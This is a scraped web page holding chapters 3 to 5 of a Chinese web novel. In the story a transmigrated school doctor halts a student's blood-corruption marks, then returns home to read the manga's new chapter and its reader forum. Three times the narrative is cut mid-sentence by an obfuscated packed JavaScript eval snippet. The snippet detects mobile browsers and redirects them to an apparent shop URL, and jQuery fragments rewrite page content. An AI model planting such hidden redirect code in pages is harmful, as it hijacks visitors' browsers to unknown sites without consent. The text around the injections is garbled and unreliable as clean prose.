《关于我们校医老师是幕后BOSS这件事》 3. 血蚀 林砚在原地站了几秒。 白珍也跟着停下来,拐杖在地面轻轻一顿,关切地注视着他:“刚才过去的那混小子你可能没见过但一定听说过,那小子身体素质极好,这一下没给你撞出毛病来吧?” 林砚摇了摇头:“没事。” 他顿了顿,“只是没想到会在这里遇到‘救世主’同学。” “救世主……”白珍脸上浮现出一种混合着无奈与疲惫的神情。她叹了口气,声音在空旷的走廊里显得格外清晰,“嘴上说是赵铁心自找的,与他陆燃无关,才不在意他们的死活。结果呢?自己一个人偷偷跑来看。” 她没有再多说,拄着拐杖继续向走廊深处走去。林砚跟在她身后,脚步声在寂静中回响。 走廊尽头,诊疗室的门虚掩着。林砚走近,一眼就看到了门锁上新鲜的、粗暴的撬痕。手法谈不上任何技巧,纯粹是靠着蛮力硬别开的,透着一股不管不顾的急躁。 林砚摸了摸自己口袋里那串崭新的钥匙——白珍刚刚交给他的。看来这位“救世主”同学没想到新任校医会来得这么快。 “这门我会给你报修的,今天晚上就能修好,你放心。” 白珍推开门,一股比走廊更冷的空气涌了出来。 诊疗室宽敞明亮,设备崭新,但此刻空无一人。最深处的墙壁上,一扇厚重的金属门敞开着,门后是向下的楼梯,幽蓝色的应急灯光从下方透上来,寒意更重。 “你应该也习惯这种环境了,毕竟我们沸血者使用能力需要引燃血液。”白珍边走边解释,声音在冰冷的空气里显得很平稳,“使用的次数多了,身体也会变成烧红的炉子,这时候,只有冰冷的环境才能让人好受点。所以病房设在下面。” 她率先走下楼梯,林砚紧随其后。 刺骨的寒气袭来,但林砚并不觉得难受。如塔主所言,他确实很习惯这种环境。 负一层的空间比楼上诊疗室更为开阔,但光线极其昏暗。只有负责给生命维持设备供电的设备发着幽微的、近乎凝固的蓝色冷光,勉强勾勒出房间里数个巨大罐状容器的轮廓。空气里弥漫着消毒水混合金属的气息,背景音里细小的机械嗡鸣像是沉睡的巨兽在呼吸。 白珍在末尾的罐子前停下脚步。 林砚的目光落进那罐注满了浓稠绿色治疗液的容器里。液体中悬浮着一个男生,双目紧闭,口鼻连接着呼吸管。这就是赵铁心。 系统灌输的背景知识里有他的照片,林砚也看过他的漫画形象,与土土的名字不同,赵铁心长着一张秀美的脸,小时候续着长发时完全就是个漂亮的小姑娘。他是不受认可的贵族私生子,长相上更偏向他貌美的母亲,即使现在改成了短发也掩盖不住精致的秀气。 赵铁心曾经也在意过自己的长相,被嘲笑过娘娘腔,只是现在也释怀了,甚至以此作为战术误导敌人——谁会想到一个漂亮得像姑娘的男孩居然会是个纯粹的□□强化系沸血者? 但此刻罐中的人,那张漂亮脸蛋上青筋狰狞暴起,更骇人的是从脖颈衣领处蔓延上来的血蚀印记,猩红色的纹路如蛛网般细密,已经爬过下颌侵占了半张脸颊,向眼睑处延伸。即使深度昏迷,他的眉头也紧紧锁着,面部肌肉还在不自觉地轻微抽搐,整张脸呈现出一种近乎非人的、痛苦而扭曲的狰狞。 “七天前送回来的。”白珍的声音很轻,像是怕惊扰了什么,“头两天,靠着他自己的意志力还能勉强扛着,不让血蚀进一步深化。可在上一任校医被调走后,我们能做的,就只有把他泡在这里,在停止身体机能的基础上用治疗液吊着命,能拖一天,是一天。” 她顿了顿,看向林砚:“刚送来时,这些血痕还只到锁骨。现在,你也看到了。” 林砚凝视着血蚀印记,脑海里系统灌输的知识自动浮现:源血失控之后会造成使用者被自己的能力侵蚀,侵蚀污染会外在显化于皮肤上,变成一种被称之为血蚀印记的猩红色纹路。 血蚀的产生位置会因使用者的能力类型、释放方式和受伤位置改变,当印记完全覆盖头部影响到大脑,就意味着理性的堤坝彻底崩溃,沸腾的血液将重塑躯体与意志,堕化为只余破坏本能的血兽。由于这个侵蚀机制,精神系沸血者基本也都意味着高度堕化风险。 眼前赵铁心的情况,显然是已经走到了悬崖的最边缘。 系统,林砚在心里呼唤,启动监测仪表盘。 淡蓝色的半透明光幕在视野一角展开,数据流快速刷过。略过暂时不那么重要的信息,林砚直接筛选出自己目前遇到的两人。 【陆燃】 生理状态:71%(皮实,一个星期内他自己会好) 心理压力:89%(年轻人容易冲动,小心他炸) 血蚀风险:63%(以他使用能力的频繁程度来说才这点,天赋异禀) 信任度双边指标: -对苏清寒:2%(基本上已经闹掰了) -对赵铁心:78%(愧疚但嘴硬) -对白晓:41%(有点怕她的预言) 【赵铁心】 生理状态:31%(还能抢救,但得快点) 心理压力:70%(夹在同伴中间的夹心汉堡老好人) 血蚀风险:93%(哈哈,快完蛋了) 信任度双边指标: -对陆燃:82%(好兄弟,我相信你) -对苏清寒:15%(理念冲突且被误伤) -对白晓:50%(有点担心她的状态) 这数据让林砚只想叹气:血蚀风险93%——只差最后7%。 但他不能叹气,他就是为了抢救人才来的。连他都叹气了,那还救什么? 林砚的目光从光幕移回治疗罐。他想试试看。 “塔主,”他开口,声音在寂静中愈发清晰,“我准备用我的能力试试看。” 白珍没多问,只是点了点头:“需要准备什么?” 沸血者的能力是隐私,情报站也是战斗的一环,除非是非常信任的人,不然互相之间不会透露自己能力的具体情况。 “先把他移出来。” 林砚走到罐体旁的操作面板前,得益于系统灌输知识,没费什么劲就找到了排液程序。 找到排液键按下,低沉的机械运转声响起,机械臂从罐体下方探出,扶住赵铁心的躯干和颈部进行固定。接着,底部的阀门打开,治疗液开始缓缓下降,液面一寸寸剥离,头发和衣服一起黏在了少年的身上。 整个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873283|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过程只有两分钟。 当最后一滴液体排空,罐体正面的弧形玻璃罩无声地向两侧滑开。冰冷的白色雾气涌出,固定着赵铁心的机械手臂平稳地向外移动,直至将昏迷的少年完全送至林砚触手可及的位置。 单薄的衣服湿漉漉地贴在他身上,猩红的血蚀印记在泡得发白的皮肤映衬下,愈发刺目狰狞。 林砚伸出右手,掌心轻轻笼在脖颈的血蚀印记上,掌下的皮肤高热得异常,林砚甚至能感觉到血液在血管里爆裂地沸腾。 在如此近的距离之下,他的能力已经自然地开始起反应,跃跃欲试地准备运转了。 ——祸血凭依。 体内血液开始燃烧,心跳开始飙升,眼前的世界仿佛进入了慢动作状态,心脏高速泵动向身体输送血液。林砚感觉到自己对周边,乃至白珍的身体里的血液,都产生了一种奇异的掌控感。 银白色的碎片在掌下凝结,如同碾碎了的星辰粉末,又像是寒冬深夜凝结的霜晶,细碎的星辰从皮肤接触的地方渗入赵铁心的皮肤,并沿着血管的脉络,迅速向四周晕染开来。光芒所过之处,显现出与之呼应的银白光流。与此同时,那些狰狞的猩红色血蚀印记,也亮起了妖异的暗红色光泽。 冰冷的能量从林砚的掌下蔓延,赵铁心整个上半身都仿佛被薄冰覆盖,连睫毛上都挂起了冰霜。 过程比林砚预想的要难很多。 他体内的源血在本能地抵抗外来干涉,血蚀污染如同附骨之疽疯狂反扑,甚至试图反过来侵蚀进林砚的体内。 精神被快速消耗,林砚的额角渗出细密的汗珠,感到有些疲惫。 但林砚到底也是和赵铁心一个级别的A+级沸血者,现在不过是初次交锋都能势均力敌,等他熟练完能力后解决只是迟早的问题。 初阶段的成功给了林砚不少信心,对能力的掌控也越发如鱼得水。 终于,血蚀印记开始出现变化,一点一点,极其缓慢却清晰可见地向后退缩。从脸颊退到下颌,从下颌退到颈侧。 当林砚感到身体有些发热,不太适合继续使用能力后,他收回了手。冰霜迅速溶解露出下面赵铁心的脸,那些触目惊心的血蚀印记,已经全部收缩回到脖颈以下,被衣领遮住。露出的脸颊和下颌虽然依旧苍白,但至少不像之前那么痛苦,紧蹙在一起的眉头,似乎也略微舒展了一丝丝。 一直屏息凝神在旁观看的白珍,这时才长长地、极轻地吁出一口气,看向林砚的眼神是难以掩饰的惊异,甚至有一丝震撼。 “这……”她拄着拐杖向前挪了两步,仔细端详着赵铁心下颚残存的、但已明显淡化了许多的暗红痕迹,又抬头看向林砚,“林老师,我当塔主几十年,见过的沸血者、见过的治疗能力不说上千也有数百……能让血蚀印记停止蔓延的,已是凤毛麟角。” 她顿了顿,每一个字都说得很慢,很重,仿佛在确认一个不可思议的事实:“但我从来,从来没有见过,能让已经显现的血蚀印记,像潮水一样倒退回去的。” 白珍的目光落在林砚脸上,那里面不再仅仅是长辈的慈和,更多了一种对可畏后辈的惊叹。 “你的祸血凭依……”她缓缓道,“似乎比你族中长辈们持有的,要强势得多啊。” 4. 漫画更新 断更半个月的漫画《沸血升腾》,在某个寻常的傍晚,毫无预兆地更新了。 作为漫画网站曾经的顶流、如今让人又爱又恨的陨落神作,这条更新提示像一枚投入深潭的石子,瞬间激起涟漪。无数个手机、平板、电脑屏幕上,弹出了相同的提醒。 尽管大部分读者的热情早已被反复的崩坏剧情和漫长的停更消磨殆尽,但追更多年的习惯、对角色残存的感情、或是单纯想看到一个结局的执念,还是驱使着他们点开了最新一话。 然后,他们集体愣住。 最新一话的封面,是一个全然陌生的角色。 那是一个金发的青年,发尾留得稍长,在颈后勾勒出随性又利落的弧度。他穿着一件质料精良的立领衬衫,领口微敞,袖口挽至小臂,露出清晰的手腕线条。衬衫外随意套着一件红底金边的马甲背心,装束简洁精练,却因剪裁合贴又显得有些考究。领口处既没有领带也没有领结,纵然看起来有些漫不经心,又在细节上透露出难以接近。 他坐在一辆黑色轿车的后座,车窗半降,一只手肘慵懒地搭在窗沿,白皙的手背托着线条优越的下颌,阳光下,金发璀璨耀眼。他的脸微微偏向窗外,但那双眼睛——被作者以近乎炫技的笔触精细描绘的眼睛——却仿佛穿透纸张,直接望向了屏幕之外的读者。 那是无机质般的琥珀色,澄澈、冰凉,在光影渲染下亮如明镜,倒映着窗外流过的浮光掠影,也仿佛能映出人心底的一切隐秘。眼神冷淡疏离,对周遭一切漠不关心,却又因这极致的美丽与空洞,形成一种惊心动魄的吸引力。 沉寂片刻后,评论区和实时弹幕瞬间爆炸: 「卧槽!新角色?!」 「卧槽槽槽!这谁?帅得我差点把手机扔出去!」 「诈尸了?!狗作者还活着?居然还记得密码?」 「先骂再夸:狗贼该死!但画男人你是真的神!」 「这脸,这气质,这眼神……我直接一个嘶哈嘶哈!」 「求高清封面大图!立刻!马上!我要当屏保!」 「先别帅了……有人剧透吗?铁心怎么样了?要是没了我就不点了,心脏受不了。」 封面右下角,小小的章节标题显示着:第九十一话:变数。 就在漫画更新的同一时刻,身处白塔学院医务处地下病房的林砚,听到了系统的提示音。 【监测到叙事世界《沸血升腾》发布重要内容更新。为保障任务执行者能及时获取关键信息,现提供临时选项:A.返回跨维度叙事□□系统临时接引空间;B.短暂返回您原生世界。您可选择其一,以便查阅更新内容。】 林砚正在观察赵铁心治疗后状态是否稳定,闻言动作一顿。 他在心中回应:“这符合规定?我记得任务完成后才能复活吧?” 系统的电子音似乎比平时轻快了一丝丝。 【严格来说,不完全符合标准流程。但基于您首次介入即取得超出预期的阶段性成果,系统评估认为提前授予有限度的信息同步权限,有助于后续任务执行效率。此为特例。】 林砚几乎没怎么犹豫:“我选B,回现实世界。” 他想念自己的房间,想念家人,哪怕可能只是镜花水月,但对于被爱的孩子而言,人在外面就会想家。 【指令确认。开始链接坐标……】 熟悉的轻微眩晕感传来,没有穿越时的颠簸感,只是眨眼的功夫,林砚发现自己回到了自习室里,人还趴在桌上。 顾不得收拾东西,林砚直冲回家。 客厅里灯火通明,已经是晚上了,林母、林父靠在一起刷着手机。 温暖的灯光,熟悉的家居气息,手机里短视频的声音……一切都真实得让他鼻腔发酸。 “爸,妈。”他声音有些干涩地开口。 林父林母同时转过头,看到突然出现在客厅的儿子,都愣住了。林母暂停了手机的视频,林父则下意识地坐直了身体。 “砚砚?”林母最先反应过来,脸上露出担忧,“你怎么这个点跑回来了?不是住校复习吗?脸色怎么有点白,是不是哪里不舒服?” 林砚没说话,几步走过去,伸出双手,同时抱住了父母。 这个拥抱有点用力,父母都能感觉到他难以言喻的激动。 林父身体微微一僵,随即放松下来,手掌拍了拍儿子的背,声音里带着困惑和更深的忧虑:“怎么了儿子?出什么事了?是不是在学校遇到什么麻烦了?有人欺负你?告诉爸爸,爸爸帮你解决!” 林母也反手抱住儿子,温暖的手抚摸着林砚的背:“乖,是不是学习压力太大了?累了就回家休息,没事的,只是一次比较大规模的考试而已。” 林砚把脸埋在母亲肩头片刻,嗅着令人安心的洗衣粉味,抬起头,眼眶微红,但努力露出一个笑容:“没有,没人欺负我。就是……就是突然觉得压力有点大,学累了,特别想你们,想回来充充电。” 他顿了顿,补充道,“我请了会儿假,晚点就回学校。” “你这孩子……”林母心疼地又抱了抱他,重重地拍了拍他的背,“想家了就回来,随时都行。学习重要,身体更重要,知道吗?” 林父仔细看了看儿子的脸色,确认除了有点疲惫外没有异样,才松了口气,但依旧叮嘱:“有事一定要说,别自己扛着。” “嗯。”林砚点头,享受着此刻的温暖。 又和父母说了几句话,林砚才回到熟悉的卧室。 关上门,坐在书桌前,脸上的温情渐渐被冷静取代。 “系统,”他在心中问,“如果作者更新我就能回来,那现实世界和漫画世界的时间怎么算?如果漫画不更新,我岂不是要一直待在那边?” 【此次为特例权限。正式任务执行期间,您原生世界时间处于停滞状态。您本次返回的,是基于您死亡时间点衍生出的、系统模拟的观测态世界,可视为一种未来的可能性预览。】 系统解释道,【当您最终完成任务,您将真正回归,时间点即是您猝死前一刻——高考前四十七天。您的所有经历将如梦境,但获得的完全健康体魄将生效。】 林砚:“……” 也就是说,他拼死拼活完成任务,回来后还得面对堆成山的《五年高考三年模拟》? 【正确理解。】 系统的声音一本正经。 林砚抹了把脸,决定暂时不去想那地狱般的复习生活:“先看漫画吧。” 系统在他视野中展开一个半透明的浏览器窗口,直接显示了《沸血升腾》最新一话的页面。林砚一眼就看到了那个闪亮的封面——他自己。 “……” 哪怕有了心理准备,亲眼看到自己被画成这种仿佛时尚杂志扉页模特、眼神能“看穿人心”的样子,林砚还是感到一阵强烈的、脚趾抠地的尴尬。尤其是飞速滚动的弹幕里那些“帅哭”、“眼神杀我”、“老婆(?)”之类的字眼,让他太阳穴直跳。 【作者对叙事内容的呈现会进行艺术加工与提炼,以增强戏剧张力、突出角色特质或服务剧情节奏。】系统适时解释,【此封面形象基于您的外貌数据,进行了符合漫画世界美学风格的优化渲染,并与后续剧情中您给他人的第一印象相结合。】 “也就是说,凹造型是作者干的,与我无关。”林砚木着脸总结。 【可以这么理解。】 他跳过封面,开始看正篇内容。 开篇延续了上一话的冲突高潮。 画面极具张力:实验室冰冷的灯光下,陆燃拳头紧握,额发阴影遮住眼睛,但紧绷的下颌线和粗体激烈的台词气泡无一不在彰显他的愤怒:“别把你的那套垃圾玩意儿拿到我脸上显摆!哪怕是死我都不会像条狗一样自己给自己拴上狗链!” 对面,苏清寒站在试验用仪器旁,镜片后的眼睛冷若冰霜,她嘴角扯出一个略带讥诮的弧度,回敬道:“连自己力量都控制不住的家伙,比狗还不如。” 两人之间连空气都像是布满了无形的尖刺。 随后,陆燃被彻底激怒,猛地转身,抛下一句冰冷彻骨的话:“然后变成和赵铁心那蠢货一样吗?” 画面定格在苏清寒瞬间苍白的脸上,那双总是冷静理智的眼眸里,碎裂出清晰的愧疚、痛苦和无法辩驳的悲伤。 实验室的门在陆燃身后重重关上,发出沉闷的回响。 弹幕在这里变得密集: 「扎心了……」 「陆燃你这次真的说得太过了。」 「但人家也没说错啊,控制不住力量是什么结果,那不就是…」 「苏清寒那个眼神……唉,她也难受啊。」 「别吵了别吵了,孩子头好痛。」 「赵铁心实惨,好苦逼一孩子。」 接下来的几页,用快速切换的分镜和蒙太奇手法,展现了冲突之后,主角团的生活。 陆燃独自一人走在校园里,拒绝了所有试图组队的同学,背影倔强又孤寂。几个深夜,他偷偷潜行到医务处诊疗室外,隔着玻璃窗,沉默地看着里面,眼神复杂难辨。 苏清寒则将自己彻底埋进了研究与书海。图书馆深夜的灯光下,面前摊开的笔记本写满密密麻麻的公式和推论,手边堆着厚厚的古籍,揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16873284|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着发红的眼睛,脸上是掩饰不住的疲惫和焦虑。深夜里,她独自坐在空荡荡的实验室里,拿出手机,手指在通讯录上徘徊许久,却没有点开任何人的联系方式。她抱住自己的膝盖,将脸埋了进去,肩膀微微颤动。地上,散落着几张被揉皱又展平的纸,最后都划着巨大的红叉。 而赵铁心,从最初还能在病床上醒来,勉强用手机在名为“白塔四天王(4)”的群里发消息:「兄弟们别担心,我命硬得很,躺几天就好了!(笑脸)」,到后来被移入生命维持装置,彻底陷入沉睡,再也没有回应。他发的最后那条消息孤零零地挂在群聊末尾,前面是更早时他在任务出发前插科打诨的闲聊,后面是一片死寂的空白。群聊名称旁边,显示着(3人在线)。 白晓的房间始终拉着厚重的窗帘,门扉紧闭。没有她的视角,只有门外偶尔放凉又撤走的餐盘。 弹幕的气氛越来越沉重: 「哭了,明明四个人,怎么看起来这么孤单。」 「铁心发的消息没人回啊……哪怕当时有一个人回一句也好。」 「陆燃和清寒都在用自己的方式难受,但就是不肯沟通。」 「晓晓把自己关起来了,她是不是预见到了什么……」 然后,情节推进到赵铁心被转入地下的生命维持装置。申请正式探视需要流程,而陆燃显然不可能去打这个申请——这等于向他刚刚划清界限的同伴们示弱。 所以,他选择了最直接的方式:撬锁。 漫画用了整整两页来描绘陆燃潜入地下病房的过程。阴影中的红发少年动作急切,撬锁时紧抿着嘴唇,作者还恶趣味地画了个在左顾右看似乎在提防别人出现的Q版小人。 最终,他站在了那个巨大的治疗罐前。 脸上爬满蛛网状血蚀印记,悬浮在治疗液中的赵铁心,就这么突兀地呈现在所有读者面前。 漫画给了陆燃一个瞳孔骤缩的特写,紧接着是他死死攥紧的拳头,指节发白,微微颤抖。黑暗的背景里,只有机器设备幽幽的蓝光和赵铁心脸上刺目的红。 弹幕彻底疯狂,密密麻麻几乎遮住画面: 「不——!!!」 「铁心!!怎么会这样?!」 「之前只说是重伤,没说是快死了啊!」 「完了……血蚀到脸上,基本没救了吧……」 「R.I.P.铁心,一路走好。」 「不要啊!铁心再怎么说也是主角团吧!主角光环呢,救一下啊!」 「也救救陆燃吧……他快碎掉了……」 就在这时,陆燃耳朵动了动,旁白写着他听到上方传来有极其轻微的脚步声,还有拐杖点地的声音。 不能被人发现我撬锁进来了!陆燃脸色一变,毫不犹豫地往外冲去。 接着,便是那场碰撞。 在陆燃的视角里,一切发生得很快:匆忙逃离,转角有人,收势不及撞上。他惊慌抬头,对上了一双陌生的眼睛。 漫画用了一个非常精巧的分镜:左侧是陆燃带着惊愕、慌乱和未散尽痛苦的脸部特写,右侧,则是被撞到的金发青年,转过头来瞥向他的瞬间。 那是不同于封面的另一种特写。 没有车窗光影的修饰,没有刻意营造的疏离姿态。就是在昏暗走廊的背景下,一张无可挑剔的脸因突然的碰撞而转过来,琥珀色的眼眸平静无波地扫过撞人者,眼神里没有愤怒,没有惊讶,甚至没有多少情绪,只有一种近乎漠然的平淡,以及被打扰时极细微的不悦。几缕金色的发丝因动作微微晃动。 旁边配着陆燃内心的小字:谁?没见过。 而在这一格画面的上方,一条被无数点赞顶到最前面的弹幕,以一种截然不同的画风飘过: 「一眼万年。」 紧接着,是更多炸开的弹幕: 「出现了!封面金发美人!」 「这个抬眼!这个眼神!我没了!」 「陆燃你撞到我了!快帮我道歉!」 「‘一眼万年’哈哈哈哈,会还是你们会!」 「所以新角色是医务处的?医生?治疗?」 「医生!是医生吗?!求求了看看我们铁心吧!!!」 漫画在这一格之后,画面变黑,中间出现一行白色的字: 「下周休刊。作者需要整理后续剧情。」 读者们:“……” 短暂的死寂后,弹幕和评论区被更加汹涌的“???”和“作者你出来我们谈谈!”所淹没。 而现实世界卧室里,林砚关掉了漫画,陷入沉默。 原来我平时表情这么拽啊。 5. 读者读者教教我 对于《沸血升腾》的读者来说,刚刚更新的第九十一话,信息量可以说少得可怜。 新登场一个神秘的金发角色,主角团的关系依旧僵得像冻了十年的老冰,赵铁心的状况惨不忍睹,然后……就没有然后了。 林砚躺在床上,那种脚趾抠地的尴尬感还残留着。 漫画封面上的那个男模版自己停留在视网膜上消散不去,但比起这个,漫画正文里呈现的主角团现状,更需要他的重视。 陆燃和苏清寒的矛盾比他预想的还要尖锐。 那句“然后变成和赵铁心那蠢货一样吗”,配合苏清寒瞬间苍白的脸,漫画表现出的杀伤力远超过文字描述。而赵铁心脸上的血蚀印记,在漫画格子里被特意渲染放大后,视觉冲击力更是惊人。 系统提示音适时响起。 【检测到您对漫画内容的情绪波动。需要提醒的是,作者的艺术加工会放大冲突与特质,但核心事实与您所见一致。】 “我知道。”林砚低声回应。 现阶段作者对林砚的描写不多,这也是好事。既然作者能为了视觉效果和角色魅力,把一次普通的抵达画成时尚大片,把冷淡的瞥视渲染成“一眼万年”,那是否也意味着,他后续在漫画里做的事情,也有可能被作者捕捉到,并以更富冲击力、更利于传播的方式呈现给读者。 他的行为影响力可能会比自己预想中的更大。 林砚关掉满是弹幕的漫画页面,意识到自己还遗漏了一个可能影响剧情的重要因素。 读者的情绪。 这本漫画是国产漫画,作者更是在论坛上有官方账号,还有大管理权限,所以他不可避免地也会刷刷论坛上的帖子。读者的期待、愤怒、猜测、乃至玩梗,都可能被偶然看见,这无形中也会影响作者的创作倾向,进而微妙地扰动世界线。 林砚心念一动:系统,我记得《沸血升腾》这种热门漫画都有官方论坛的吧?帮我打开论坛,我想看看有没有新的读者讨论贴。 【指令确认。数据接入中……】 半透明的浏览窗口在旁边展开,数个标签页快速闪过。如同他预料的那样,相关板块的活跃度因突然的更新而明显提升。抱怨休刊的、哀嚎铁心的、舔屏新角色的、分析剧情的……五花八门。 果然,首页几乎被第九十一话的讨论屠版。 他粗略扫过标题: 《新老婆(暂定)出现!三分钟我要知道这位金发美人的全部信息!》 《陆燃到底什么时候长大??这臭脾气看得我拳头硬了》 《赵铁心我们永远怀念你…RIP(大哭)》 《休刊一周?狗贼你是不是又想跑路?!》 林砚快速划过这些帖子,目光扫过几个战力讨论贴。他看到一个标题为《浅析新出场的医务处角色可能的能力体系》的帖子,拿着答案本的他原本准备把这帖也一并略过,手指顿了顿,还是感到些许好奇,就点了进去。 楼主似乎是个考据党,从漫画格子里塔主的只言片语、新角色的着装气质、以及出现在医务处这几个点分析,认为新角色大概率拥有治疗或辅助类能力,并且等级不低,否则塔主不会亲自引荐。 但也有些回帖画风清奇。 「你们不觉得狗作者画得太精细了吗?这金毛出场才几个格子?每个格子都恨不得把睫毛丝都画出来!按照这懒狗的一贯作风,只有在画牛逼能力和战斗场面时才舍得下笔磨细节。所以我大胆开麦:新角色的能力就是【超级美貌】!作用可能是魅惑敌人?或者提升己方士气?(狗头)」 「艹,好有道理,我竟无法反驳。」 「破案了!以后战斗就靠脸!靠眼神杀!」 「附议!狗作者画他比画主角打架还用心,这待遇没谁了。」 「歪个楼,你们不觉得他看陆燃那一眼特别带感吗?冷漠.jpg陆燃慌得一批.jpg」 「按这漫画的套路,长得好看的,要么死得惨,要么黑化得厉害……我先提前心疼一波。」 林砚面无表情地关掉了这个帖子。 人类的想象力,有时候确实挺难理解的。 就在他继续往下翻时,一个回复数正在飞速上涨的帖子引起了他的注意:《断更归来,新角色入场,浅析当前局势与未来可能走向——by猫吃鱼。》 发帖时间距离漫画更新不到半小时。林砚看了一眼这个ID的注册时间和历史发帖记录,确认楼主是个从《沸血升腾》开连载就跟进的元老级粉丝,以剧情分析精准(偶尔也被作者背刺)著称。在漫长的断更期里也坚持发布自己的分析和推测贴,可以说是个铁杆“沸批”。 林砚点了进去。 【猫吃鱼】 发帖时间:23分钟前 先叠甲:纯个人看法,欢迎理性讨论,拒绝无脑喷。狗贼终于爬回来更新了,老子差点以为要等到入土才能看到结局(微笑)。 在开始正式分析前,容我先感性地嚎一嗓子:有救了!这个世界观可能还有救! 断更前最后一话,狗贼在后记里提过,他觉得故事走向和角色塑造出了问题,需要重新思考,甚至暗示“主角团中或许不可避免地会出现牺牲”。当时一片哀鸿遍野。现在,在停了这么久之后,他带着新角色回来了,并且明确表示还要再休刊一周整理剧情。兄弟们,这意味着什么? 这意味着,新角色很可能不是临时拉出来凑数的,而是狗贼重新思考后,为拯救这个濒临崩坏的故事线落下的一枚关键棋子。 好了,感性时间结束,下面上干货。 之前我推测铁心重伤但不至于立刻死亡,现在看来对了一半。重伤是事实,但“血蚀侵蚀至面部即意味着理性丧失进入倒计时”这个设定,狗贼自己在前中期强调过不止一次。 所以,铁心现在不是“濒死”,是“濒临堕化”。一旦完全变成血兽,按照白塔乃至整个沸血世界的规矩,等待他的只有处决。 只是重伤而已?骗你的,比“濒死”还严重。(哭) 但塔主白珍显然没有放弃。她亲自带来了这位新角色(暂称金发校医),目的地是连很多老师都无权轻易进入的深层病房。这几乎明示了:新角色是治疗者,而且是级别很高、可能专精于血蚀问题的治疗者。 奶奶,您还是爱孩子们的!(泪目) 然后是男主陆燃,很多人骂他没长进、臭脾气、主角失格。这里我得替他(以及狗贼那稀烂的感情描写)说两句。在骂的同时,我们得看看他周围是什么环境。 目前还在正面抗击血魔的主力是谁?是白塔,尤其是白塔执行院的人。外部,血魔虎视眈眈。内部呢?沸血议会那帮老登除了拖后腿和抢资源还会干什么?赵铁心一出事,他们第一反应是找白塔要治疗能力者,生怕自己哪天受伤没奶妈。 但更可怕的是,白塔自己也不干净。 不知道还有没有人记得第八十三话那个一闪而过的镜头?有内部人员对主角团上次任务的评级和地点做了手脚,把本该由毕业级队伍处理的高危任务,塞给了还是四年级的他们。 这说明什么?白塔有内鬼,而且权限不低。这个内鬼,可能是被收买的人,也可能……根本就是披着人皮的血魔。 沸血议会封闭成那样都能被渗透进去,白塔就能幸免?在这种内忧外患、敌友难辨的环境下,被预言为救世主的陆燃,就是个大靶子。血魔的首要目标绝对是他。那么,预言中“陆燃的朋友们”呢? 只要他没有朋友,不就行了?所以他的孤僻、暴躁、赶走所有人,在我看来,除了性格缺陷,未尝不是一种极端又笨拙的“保护”,甚至带点自毁倾向。当然,以狗贼的感情刻画功力,可能根本没想到这层,纯属我脑补过度。(笑) 然后我们回到主线炽血君王的复苏问题。 炽血君王四块碎片,已知两块在血魔首领萨麦尔手里,这疑心病晚期患者肯定贴身藏。一块在白珍塔主手里,当年抢的时候动静太大,血魔肯定知道她拿了,这瞒不住的。最后一块还未出世。 血魔现在占优,两块在手,知道第三块大致去向,所以稳坐钓鱼台。按照“约三年出现一块”的模糊设定,最后一块应该在主角团五年级时出现,那将是天下大乱的导火索。 外部的仗,目前全靠白塔执行院和主角团硬扛。这里必须说,白珍 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876744|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 奶奶坚持全武斗派办学,顶住议会和平令的压力,简直是以一己之力在延缓世界末日。不然这漫画早改名叫《血魔传》了。 所以,下一步剧情的关键,必然是清内鬼。不把内部的钉子拔了,根本没法集中力量对抗外敌。 我个人大胆预测(坐等打脸):白塔之后可能会进入封闭状态。 基于内鬼存在的推断,白珍老太太下一步大概率会采取极端措施——封塔。 理由可以是现成的:保护学生安全,防止血魔渗透,集中内部排查。 一旦封塔,进出制度会严到变态,甚至可能暂时切断对外的部分网络连接。到那时候,谁最着急、谁坐立不安想往外传递消息、谁急着想离开,谁的嫌疑就最大。 至于内鬼是谁…… 狗贼给血魔起名有偏爱西洋风的习惯,不知道有没有人还记得第三十二章,那个学院考核后公布的全塔成绩单? 在六年级中部排名那里,有个名字:派斯。 当时就觉得这名字在一堆东方名里有点突兀。 现在,把它倒过来念试试?斯派(Spy)。 当然,一个六年级学生,哪怕成绩中上,能否直接影响高危任务分配?我持怀疑态度。所以,更可能的情况是:白塔内的内鬼不止一个,他们是一个有层级的网络。这个“派斯”,或许只是其中一环,甚至是下线。真正的核心,恐怕藏在教师,乃至更高层中。 以上。 信息有限,纯属瞎猜,欢迎补充细节,也准备好被下周的更新打脸了。(躺平) 帖子下方,回复已经炸了。 「卧槽!猫哥细节怪!那成绩表我直接滑过去了,根本没看清名字!」 「猫哥牛逼!我去翻了三十二章,那个成绩表格子小得跟芝麻似的,六年级那指甲大的排名表里面挤了二十多个名字,这你居然能注意到‘派斯’!」 